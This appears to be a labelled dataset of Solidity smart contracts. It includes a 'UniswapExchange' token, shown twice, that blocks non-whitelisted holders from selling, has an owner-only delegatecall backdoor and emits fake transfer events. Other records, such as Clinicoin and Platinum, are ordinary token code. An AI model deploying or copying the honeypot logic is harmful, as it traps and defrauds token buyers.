_allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
1,017
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
557
pragma solidity ^0.4.21; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract CappedToken is MintableToken { uint256 public cap; function CappedToken(uint256 _cap) public { require(_cap > 0); cap = _cap; } function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { require(totalSupply_.add(_amount) <= cap); return super.mint(_to, _amount); } } contract Clinicoin is PausableToken, CappedToken { string public name = "Clinicoin"; string public symbol = "CLIN"; uint256 public decimals = 18; function Clinicoin() CappedToken(3000000000 ether){ pause(); } }
1
3,296
pragma solidity ^0.4.13; library ConvertStringByte { function bytes32ToString(bytes32 x) constant returns (string) { bytes memory bytesString = new bytes(32); uint charCount = 0; for (uint j = 0; j < 32; j++) { byte char = byte(bytes32(uint(x) * 2 ** (8 * j))); if (char != 0) { bytesString[charCount] = char; charCount++; } } bytes memory bytesStringTrimmed = new bytes(charCount); for (j = 0; j < charCount; j++) { bytesStringTrimmed[j] = bytesString[j]; } return string(bytesStringTrimmed); } function stringToBytes32(string memory source) returns (bytes32 result) { assembly { result := mload(add(source, 32)) } } } library Strings { struct slice { uint _len; uint _ptr; } function memcpy(uint dest, uint src, uint len) private { for(; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } uint mask = 256 ** (32 - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } } function toSlice(string self) internal returns (slice) { uint ptr; assembly { ptr := add(self, 0x20) } return slice(bytes(self).length, ptr); } function len(bytes32 self) internal returns (uint) { uint ret; if (self == 0) return 0; if (self & 0xffffffffffffffffffffffffffffffff == 0) { ret += 16; self = bytes32(uint(self) / 0x100000000000000000000000000000000); } if (self & 0xffffffffffffffff == 0) { ret += 8; self = bytes32(uint(self) / 0x10000000000000000); } if (self & 0xffffffff == 0) { ret += 4; self = bytes32(uint(self) / 0x100000000); } if (self & 0xffff == 0) { ret += 2; self = bytes32(uint(self) / 0x10000); } if (self & 0xff == 0) { ret += 1; } return 32 - ret; } function toSliceB32(bytes32 self) internal returns (slice ret) { assembly { let ptr := mload(0x40) mstore(0x40, add(ptr, 0x20)) mstore(ptr, self) mstore(add(ret, 0x20), ptr) } ret._len = len(self); } function copy(slice self) internal returns (slice) { return slice(self._len, self._ptr); } function toString(slice self) internal returns (string) { var ret = new string(self._len); uint retptr; assembly { retptr := add(ret, 32) } memcpy(retptr, self._ptr, self._len); return ret; } function len(slice self) internal returns (uint) { var ptr = self._ptr - 31; var end = ptr + self._len; for (uint len = 0; ptr < end; len++) { uint8 b; assembly { b := and(mload(ptr), 0xFF) } if (b < 0x80) { ptr += 1; } else if(b < 0xE0) { ptr += 2; } else if(b < 0xF0) { ptr += 3; } else if(b < 0xF8) { ptr += 4; } else if(b < 0xFC) { ptr += 5; } else { ptr += 6; } } return len; } function empty(slice self) internal returns (bool) { return self._len == 0; } function compare(slice self, slice other) internal returns (int) { uint shortest = self._len; if (other._len < self._len) shortest = other._len; var selfptr = self._ptr; var otherptr = other._ptr; for (uint idx = 0; idx < shortest; idx += 32) { uint a; uint b; assembly { a := mload(selfptr) b := mload(otherptr) } if (a != b) { uint mask = ~(2 ** (8 * (32 - shortest + idx)) - 1); var diff = (a & mask) - (b & mask); if (diff != 0) return int(diff); } selfptr += 32; otherptr += 32; } return int(self._len) - int(other._len); } function equals(slice self, slice other) internal returns (bool) { return compare(self, other) == 0; } function nextRune(slice self, slice rune) internal returns (slice) { rune._ptr = self._ptr; if (self._len == 0) { rune._len = 0; return rune; } uint len; uint b; assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) } if (b < 0x80) { len = 1; } else if(b < 0xE0) { len = 2; } else if(b < 0xF0) { len = 3; } else { len = 4; } if (len > self._len) { rune._len = self._len; self._ptr += self._len; self._len = 0; return rune; } self._ptr += len; self._len -= len; rune._len = len; return rune; } function nextRune(slice self) internal returns (slice ret) { nextRune(self, ret); } function ord(slice self) internal returns (uint ret) { if (self._len == 0) { return 0; } uint word; uint len; uint div = 2 ** 248; assembly { word:= mload(mload(add(self, 32))) } var b = word / div; if (b < 0x80) { ret = b; len = 1; } else if(b < 0xE0) { ret = b & 0x1F; len = 2; } else if(b < 0xF0) { ret = b & 0x0F; len = 3; } else { ret = b & 0x07; len = 4; } if (len > self._len) { return 0; } for (uint i = 1; i < len; i++) { div = div / 256; b = (word / div) & 0xFF; if (b & 0xC0 != 0x80) { return 0; } ret = (ret * 64) | (b & 0x3F); } return ret; } function keccak(slice self) internal returns (bytes32 ret) { assembly { ret := sha3(mload(add(self, 32)), mload(self)) } } function startsWith(slice self, slice needle) internal returns (bool) { if (self._len < needle._len) { return false; } if (self._ptr == needle._ptr) { return true; } bool equal; assembly { let len := mload(needle) let selfptr := mload(add(self, 0x20)) let needleptr := mload(add(needle, 0x20)) equal := eq(sha3(selfptr, len), sha3(needleptr, len)) } return equal; } function beyond(slice self, slice needle) internal returns (slice) { if (self._len < needle._len) { return self; } bool equal = true; if (self._ptr != needle._ptr) { assembly { let len := mload(needle) let selfptr := mload(add(self, 0x20)) let needleptr := mload(add(needle, 0x20)) equal := eq(sha3(selfptr, len), sha3(needleptr, len)) } } if (equal) { self._len -= needle._len; self._ptr += needle._len; } return self; } function endsWith(slice self, slice needle) internal returns (bool) { if (self._len < needle._len) { return false; } var selfptr = self._ptr + self._len - needle._len; if (selfptr == needle._ptr) { return true; } bool equal; assembly { let len := mload(needle) let needleptr := mload(add(needle, 0x20)) equal := eq(sha3(selfptr, len), sha3(needleptr, len)) } return equal; } function until(slice self, slice needle) internal returns (slice) { if (self._len < needle._len) { return self; } var selfptr = self._ptr + self._len - needle._len; bool equal = true; if (selfptr != needle._ptr) { assembly { let len := mload(needle) let needleptr := mload(add(needle, 0x20)) equal := eq(sha3(selfptr, len), sha3(needleptr, len)) } } if (equal) { self._len -= needle._len; } return self; } function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private returns (uint) { uint ptr; uint idx; if (needlelen <= selflen) { if (needlelen <= 32) { assembly { let mask := not(sub(exp(2, mul(8, sub(32, needlelen))), 1)) let needledata := and(mload(needleptr), mask) let end := add(selfptr, sub(selflen, needlelen)) ptr := selfptr loop: jumpi(exit, eq(and(mload(ptr), mask), needledata)) ptr := add(ptr, 1) jumpi(loop, lt(sub(ptr, 1), end)) ptr := add(selfptr, selflen) exit: } return ptr; } else { bytes32 hash; assembly { hash := sha3(needleptr, needlelen) } ptr = selfptr; for (idx = 0; idx <= selflen - needlelen; idx++) { bytes32 testHash; assembly { testHash := sha3(ptr, needlelen) } if (hash == testHash) return ptr; ptr += 1; } } } return selfptr + selflen; } function rfindPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private returns (uint) { uint ptr; if (needlelen <= selflen) { if (needlelen <= 32) { assembly { let mask := not(sub(exp(2, mul(8, sub(32, needlelen))), 1)) let needledata := and(mload(needleptr), mask) ptr := add(selfptr, sub(selflen, needlelen)) loop: jumpi(ret, eq(and(mload(ptr), mask), needledata)) ptr := sub(ptr, 1) jumpi(loop, gt(add(ptr, 1), selfptr)) ptr := selfptr jump(exit) ret: ptr := add(ptr, needlelen) exit: } return ptr; } else { bytes32 hash; assembly { hash := sha3(needleptr, needlelen) } ptr = selfptr + (selflen - needlelen); while (ptr >= selfptr) { bytes32 testHash; assembly { testHash := sha3(ptr, needlelen) } if (hash == testHash) return ptr + needlelen; ptr -= 1; } } } return selfptr; } function find(slice self, slice needle) internal returns (slice) { uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr); self._len -= ptr - self._ptr; self._ptr = ptr; return self; } function rfind(slice self, slice needle) internal returns (slice) { uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr); self._len = ptr - self._ptr; return self; } function split(slice self, slice needle, slice token) internal returns (slice) { uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr); token._ptr = self._ptr; token._len = ptr - self._ptr; if (ptr == self._ptr + self._len) { self._len = 0; } else { self._len -= token._len + needle._len; self._ptr = ptr + needle._len; } return token; } function split(slice self, slice needle) internal returns (slice token) { split(self, needle, token); } function rsplit(slice self, slice needle, slice token) internal returns (slice) { uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr); token._ptr = ptr; token._len = self._len - (ptr - self._ptr); if (ptr == self._ptr) { self._len = 0; } else { self._len -= token._len + needle._len; } return token; } function rsplit(slice self, slice needle) internal returns (slice token) { rsplit(self, needle, token); } function count(slice self, slice needle) internal returns (uint count) { uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr) + needle._len; while (ptr <= self._ptr + self._len) { count++; ptr = findPtr(self._len - (ptr - self._ptr), ptr, needle._len, needle._ptr) + needle._len; } } function contains(slice self, slice needle) internal returns (bool) { return rfindPtr(self._len, self._ptr, needle._len, needle._ptr) != self._ptr; } function concat(slice self, slice other) internal returns (string) { var ret = new string(self._len + other._len); uint retptr; assembly { retptr := add(ret, 32) } memcpy(retptr, self._ptr, self._len); memcpy(retptr + self._len, other._ptr, other._len); return ret; } function join(slice self, slice[] parts) internal returns (string) { if (parts.length == 0) return ""; uint len = self._len * (parts.length - 1); for(uint i = 0; i < parts.length; i++) len += parts[i]._len; var ret = new string(len); uint retptr; assembly { retptr := add(ret, 32) } for(i = 0; i < parts.length; i++) { memcpy(retptr, parts[i]._ptr, parts[i]._len); retptr += parts[i]._len; if (i < parts.length - 1) { memcpy(retptr, self._ptr, self._len); retptr += self._len; } } return ret; } } contract Ownable { address public owner; function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } contract Platinum is Ownable { using SafeMath for uint256; using Strings for *; string public version = "0.0.1"; string public unit = "oz"; uint256 public total; struct Bullion { string index; string unit; uint256 amount; string ipfs; } bytes32[] public storehouseIndex; mapping (bytes32 => Bullion) public storehouse; address public token; uint256 public rate = 10; PlatinumToken coin; function Platinum() { } event Stock ( string index, string unit, uint256 amount, string ipfs, uint256 total ); event Ship ( string index, uint256 total ); event Mint ( uint256 amount, uint256 total ); event Alchemy ( uint256 amount, uint256 total ); event Buy ( string index, address from, uint256 fee, uint256 price ); function stock(string _index, string _unit, uint256 _amount, string _ipfs) onlyOwner returns (bool) { bytes32 _bindex = ConvertStringByte.stringToBytes32(_index); require(_amount > 0); require(_unit.toSlice().equals(unit.toSlice())); require(!(storehouse[_bindex].amount > 0)); Bullion bullion = storehouse[_bindex]; bullion.index = _index; bullion.unit = _unit; bullion.amount = _amount; bullion.ipfs = _ipfs; storehouseIndex.push(_bindex); storehouse[_bindex] = bullion; total = total.add(_amount); Stock(bullion.index, bullion.unit, bullion.amount, bullion.ipfs, total); return true; } function ship(string _index) onlyOwner returns (bool) { bytes32 _bindex = ConvertStringByte.stringToBytes32(_index); require(storehouse[_bindex].amount > 0); Bullion bullion = storehouse[_bindex]; require(total.sub(bullion.amount) >= 0); uint256 tmpAmount = bullion.amount; for (uint256 index = 0; index < storehouseIndex.length; index++) { Bullion _bullion = storehouse[storehouseIndex[index]]; if (_bullion.index.toSlice().equals(_index.toSlice())) { delete storehouseIndex[index]; } } delete storehouse[_bindex]; total = total.sub(tmpAmount); Ship(bullion.index, total); return true; } function mint(uint256 _ptAmount) onlyOwner returns (bool) { require(token != 0x0); uint256 amount = convert2PlatinumToken(_ptAmount); bool produced = coin.produce(amount); require(produced); total = total.sub(_ptAmount); Mint(_ptAmount, total); return true; } function alchemy(uint256 _tokenAmount) onlyOwner returns (bool) { require(token != 0x0); uint256 amount = convert2Platinum(_tokenAmount); bool reduced = coin.reduce(_tokenAmount); require(reduced); total = total.add(amount); Alchemy(amount, total); return true; } function setRate(uint256 _rate) onlyOwner returns (bool) { require(_rate > 0); rate = _rate; return true; } function setTokenAddress(address _address) onlyOwner returns (bool) { require(_address != 0x0); coin = PlatinumToken(_address); token = _address; return true; } function buy(string _index, address buyer) onlyOwner returns (bool) { require(token != 0x0); bytes32 _bindex = ConvertStringByte.stringToBytes32(_index); uint256 fee = coin.fee(); require(storehouse[_bindex].amount > 0); Bullion bullion = storehouse[_bindex]; uint256 tokenPrice = convert2PlatinumToken(bullion.amount); uint256 tokenPriceFee = tokenPrice.add(fee); bool transfered = coin.transferFrom(buyer, coin.owner(), tokenPriceFee); require(transfered); bool reduced = coin.reduce(tokenPrice); require(reduced); for (uint256 index = 0; index < storehouseIndex.length; index++) { Bullion _bullion = storehouse[storehouseIndex[index]]; if (_bullion.index.toSlice().equals(_index.toSlice())) { delete storehouseIndex[index]; } } delete storehouse[_bindex]; Buy(_index, buyer, fee, tokenPrice); return true; } function convert2Platinum(uint256 _amount) constant returns (uint256) { return _amount.div(rate); } function convert2PlatinumToken(uint256 _amount) constant returns (uint256) { return _amount.mul(rate); } function info(string _index) constant returns (string, string, uint256, string) { bytes32 _bindex = ConvertStringByte.stringToBytes32(_index); require(storehouse[_bindex].amount > 0); Bullion bullion = storehouse[_bindex]; return (bullion.index, bullion.unit, bullion.amount, bullion.ipfs); } } library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is 